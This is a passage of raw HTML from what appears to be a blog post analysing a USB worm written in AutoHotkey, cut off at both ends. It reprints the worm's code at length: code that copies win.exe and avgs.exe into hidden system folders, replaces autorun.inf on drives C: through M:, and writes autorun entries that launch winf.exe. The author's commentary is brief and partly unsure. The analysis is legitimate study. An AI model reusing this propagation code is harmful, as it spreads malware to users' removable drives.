/&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;ifequal,regvalue,present&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp;exitapp&lt;/span&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;br /&gt;Next it reads the file pathlist.txt which has following contents&lt;/div&gt;&lt;blockquote style="text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;C:\WINDOWS\system32\win.dll&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;D:\RECYCLE&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;E:\RECYCLE&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;F:\RECYCLE&amp;nbsp;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;ArrayCount = 0&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;Loop, Read,%temp%\winf\pathList.txt&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;{&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;ArrayCount += 1 &lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;Array%ArrayCount% := A_LoopReadLine&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;}&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;Loop %ArrayCount%&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;{&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;path1 := Array%A_Index% &lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;Ifexist,%path1%&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; Ifexist,%path1%\win.exe&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Ifexist,%path1%\std.txt&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;exitapp &lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;FileCreateDir,%path1%&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if errorlevel&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;continue&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;else&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Filecopy,%temp%\winf\win.exe,%path1%\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if errorlevel&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; continue&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; Filecopy,%temp%\winf\avgs.exe,%path1%\ &lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Filecopy,%temp%\winf\drivelist.txt,%path1%\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Filecopy,%temp%\winf\win.mp3,%path1%\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Filecopy,%temp%\winf\icon.ico,%path1%\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; Filecopy,%temp%\winf\thb.ico,%path1%\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; Filecopy,%temp%\winf\DLL.ico,%path1%\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; FileCreateDir,%path1%\reg.bkp&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;}&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;Filesetattrib,+SH,%path1%&lt;/span&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;br /&gt;Well look at the above piece of code. As per my&amp;nbsp;interpretation what happens here is first path is copied into a variable and then checks to see if path already exists and files like win.exe and std.txt is present, this implies the system is already infected and hence program exits. If not present all the files are copied into all the specified path. Then path attribute is changed to such that they act as system files. Last line of above code does this.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;See the following code&lt;/div&gt;&lt;br /&gt;&lt;blockquote style="text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Filesetattrib,+SH,%temp%\thb.ico&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;Filesetattrib,+SH,%temp%\autorun.inf&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;filedelete,c:\autorun.inf&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;Filecopy,%temp%\winf\thb.ico,c:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; Filecopy,%temp%\winf\autorun.inf,c:\ &lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; filedelete,D:\autorun.inf&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Filecopy,%temp%\winf\thb.ico,D:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; Filecopy,%temp%\winf\autorun.inf,D:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; filedelete,E:\autorun.inf&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; Filecopy,%temp%\winf\thb.ico,E:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; Filecopy,%temp%\winf\autorun.inf,E:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; filedelete,F:\autorun.inf&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; Filecopy,%temp%\winf\thb.ico,F:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; Filecopy,%temp%\winf\autorun.inf,F:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; filedelete,G:\autorun.inf&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; Filecopy,%temp%\winf\thb.ico,G:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; Filecopy,%temp%\winf\autorun.inf,G:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; filedelete,H:\autorun.inf&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; Filecopy,%temp%\winf\thb.ico,H:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; Filecopy,%temp%\winf\autorun.inf,H:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; filedelete,I:\autorun.inf&lt;/span&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; Filecopy,%temp%\winf\thb.ico,I:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; Filecopy,%temp%\winf\autorun.inf,I:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; filedelete,J:\autorun.inf&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; Filecopy,%temp%\winf\thb.ico,J:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; Filecopy,%temp%\winf\autorun.inf,J:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; filedelete,K:\autorun.inf&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; Filecopy,%temp%\winf\thb.ico,K:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; Filecopy,%temp%\winf\autorun.inf,K:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; filedelete,L:\autorun.inf&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; Filecopy,%temp%\winf\thb.ico,L:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; Filecopy,%temp%\winf\autorun.inf,L:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; filedelete,M:\autorun.inf&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; Filecopy,%temp%\winf\thb.ico,M:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="white-space: pre;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; Filecopy,%temp%\winf\autorun.inf,M:\ &amp;nbsp;&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Well this code first changes attribute of the files extracted into temp folders to act as sytem files. Further it deletes any autorun.inf file whic may present in the all the drive and then winf.exe, autorun.inf, thb.ico is copied into all the drives. Further it checks to make sure all copies are present and make a backup copy of it. I couldn't properly interpret this part see it below.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;ArrayCount = 0&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;Loop, Read,%temp%\winf\driveList.txt&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;{&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;ArrayCount += 1 &lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;Array%ArrayCount% := A_LoopReadLine&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;}&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;Loop %ArrayCount%&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;{&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;drivename := Array%A_Index% &lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;;search in the root of all drives in the drivelist&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; ifexist,%drivename%:\winf.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; {&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Filecopy,%drivename%:\winf.exe,%path1%\reg.bkp\winf.exe&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; }&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; else&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;continue&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;}&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;Filesetattrib,+SH,%path1%\reg.bkp\winf.exe&lt;/span&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;br /&gt;Further it creates a &lt;span style="font-weight: bold;"&gt;desktop.ini&lt;/span&gt; and &lt;span style="font-weight: bold;"&gt;autorun.inf&lt;/span&gt; files and fills it with content which is show in the code below.&lt;br /&gt;&lt;/div&gt;&lt;blockquote style="text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;;*******************************create desktop.ini*************************************&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;ifnotexist,%path1%\Desktop.ini&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;Fileappend,&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;(&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;[.ShellClassInfo]&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;IconFile=C:\WINDOWS\system32\win.dll\DLL.ico&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;IconIndex=0&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;),%path1%\Desktop.ini&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;Filesetattrib,+SH,%path1%\Desktop.ini&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;;*******************************create autorun.inf*******************************&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;;Open=win.dll.exe&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;;shell\open\command=..\winf.exe&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;ifnotexist,%path1%\reg.bkp\autorun.inf&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;Fileappend,&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;(&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;[Autorun]&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;open=winf.exe&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;shellexecute=winf.exe&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;shell\Auto\command=winf.exe&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;),%path1%\reg.bkp\autorun.inf&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;Filesetattrib,+SH,%path1%\reg.bkp\autorun.inf&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: 